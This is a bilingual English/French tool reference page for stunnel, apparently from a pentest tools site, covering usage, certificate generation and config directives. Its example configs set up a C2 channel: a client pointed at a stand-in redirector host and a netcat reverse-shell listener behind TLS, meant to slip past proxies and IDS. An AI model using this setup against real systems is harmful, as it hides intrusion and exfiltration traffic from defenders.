← retour aux outils back to tools

# stunnel

Enveloppe des connexions TCP arbitraires dans un tunnel SSL/TLS, permettant à des services en clair de communiquer de manière sécurisée ou de contourner des filtres qui inspectent le trafic non chiffré. Wraps arbitrary TCP connections in an SSL/TLS tunnel, letting plaintext services communicate securely or slip past filters that inspect unencrypted traffic.

↗ https://www.stunnel.org

## Overview

stunnel is a general-purpose TLS wrapper: it adds SSL/TLS encryption to any plain TCP service without requiring the service itself to support it. On engagements it’s used both defensively (securing a plaintext admin protocol during a test) and offensively (wrapping C2 or exfiltration traffic in TLS to blend in with normal HTTPS and defeat plaintext-inspecting proxies/IDS).

## Common Usage

Run with a config file (typical usage)

    stunnel /etc/stunnel/stunnel.conf

Foreground mode with debug output, useful while testing

    stunnel -fd /etc/stunnel/stunnel.conf

Generate a self-signed cert for testing

    openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

## Example config — client side (wrap a reverse shell listener in TLS)

    ; stunnel-client.conf
    client = yes
    [c2]
    accept = 127.0.0.1:4444
    connect = redirector.example.com:443
    verify = 0

## Example config — server side

    ; stunnel-server.conf
    cert = /etc/stunnel/cert.pem
    key = /etc/stunnel/key.pem

    [c2]
    accept = 443
    connect = 127.0.0.1:4444

    # Attacker box: wrap netcat listener behind stunnel
    nc -lvnp 4444 &
    stunnel stunnel-server.conf

    # Implant/beacon connects via TLS on 443, stunnel forwards plaintext to nc

## Tips

- Pairs well with `sslh` when you also need to multiplex other protocols on the same port.
- `verify = 2` on the client enforces certificate validation — set it when you actually need integrity, not just obfuscation.
- Traffic still looks like TLS on the wire (SNI, JA3 fingerprint) — it won’t defeat deep TLS fingerprinting, only plaintext-based inspection.

Help / Man page

    stunnel [<filename>] | -fd n | -help | -version | -sockets

      <filename>    Use specified config file
      -fd n         Use specified file descriptor for config
      -help         Print help and exit
      -version      Print version and defaults, then exit
      -sockets      Print default socket options

    CONFIG DIRECTIVES (per-service section [name]):
      accept = [host:]port     Address to accept connections on
      connect = host:port       Address to forward decrypted traffic to
      cert = file                Certificate for this service
      key = file                  Private key for this service
      client = yes|no             Client mode (initiate TLS) vs server mode
      verify = level               0=none 1=optional 2=require peer cert
      TIMEOUTclose = seconds        Close idle sessions after timeout

## Vue d’ensemble

stunnel est un wrapper TLS généraliste : il ajoute le chiffrement SSL/TLS à n’importe quel service TCP en clair sans que le service lui-même ait besoin de le supporter. En mission, il est utilisé à la fois de manière défensive (sécuriser un protocole d’administration en clair pendant un test) et offensive (envelopper du trafic C2 ou d’exfiltration en TLS pour se fondre dans du HTTPS normal et contourner les proxys/IDS qui inspectent le trafic en clair).

## Utilisation courante

    # Lancer avec un fichier de config (utilisation typique)
    stunnel /etc/stunnel/stunnel.conf

    # Mode premier plan avec sortie de débogage, utile pendant les tests
    stunnel -fd /etc/stunnel/stunnel.conf

    # Générer un certificat auto-signé pour les tests
    openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

## Exemple de config : côté client (envelopper un listener de reverse shell en TLS)

    ; stunnel-client.conf
    client = yes
    [c2]
    accept = 127.0.0.1:4444
    connect = redirector.example.com:443
    verify = 0

## Exemple de config : côté serveur

    ; stunnel-server.conf
    cert = /etc/stunnel/cert.pem
    key = /etc/stunnel/key.pem

    [c2]
    accept = 443
    connect = 127.0.0.1:4444

    # Machine attaquante : envelopper un listener netcat derrière stunnel
    nc -lvnp 4444 &
    stunnel stunnel-server.conf

    # L'implant/beacon se connecte via TLS sur le 443, stunnel transmet en clair vers nc

## Conseils

- Se combine bien avec `sslh` quand il faut aussi multiplexer d’autres protocoles sur le même port
- `verify = 2` côté client impose la validation de certificat : à activer quand on a réellement besoin d’intégrité, pas seulement d’obfuscation
- Le trafic ressemble toujours à du TLS sur le fil (SNI, empreinte JA3) : cela ne déjouera pas un fingerprinting TLS approfondi, seulement une inspection basée sur le contenu en clair

Aide / Page de manuel

    stunnel [<filename>] | -fd n | -help | -version | -sockets

      <filename>    Use specified config file
      -fd n         Use specified file descriptor for config
      -help         Print help and exit
      -version      Print version and defaults, then exit
      -sockets      Print default socket options

    CONFIG DIRECTIVES (per-service section [name]):
      accept = [host:]port     Address to accept connections on
      connect = host:port       Address to forward decrypted traffic to
      cert = file                Certificate for this service
      key = file                  Private key for this service
      client = yes|no             Client mode (initiate TLS) vs server mode
      verify = level               0=none 1=optional 2=require peer cert
      TIMEOUTclose = seconds        Close idle sessions after timeout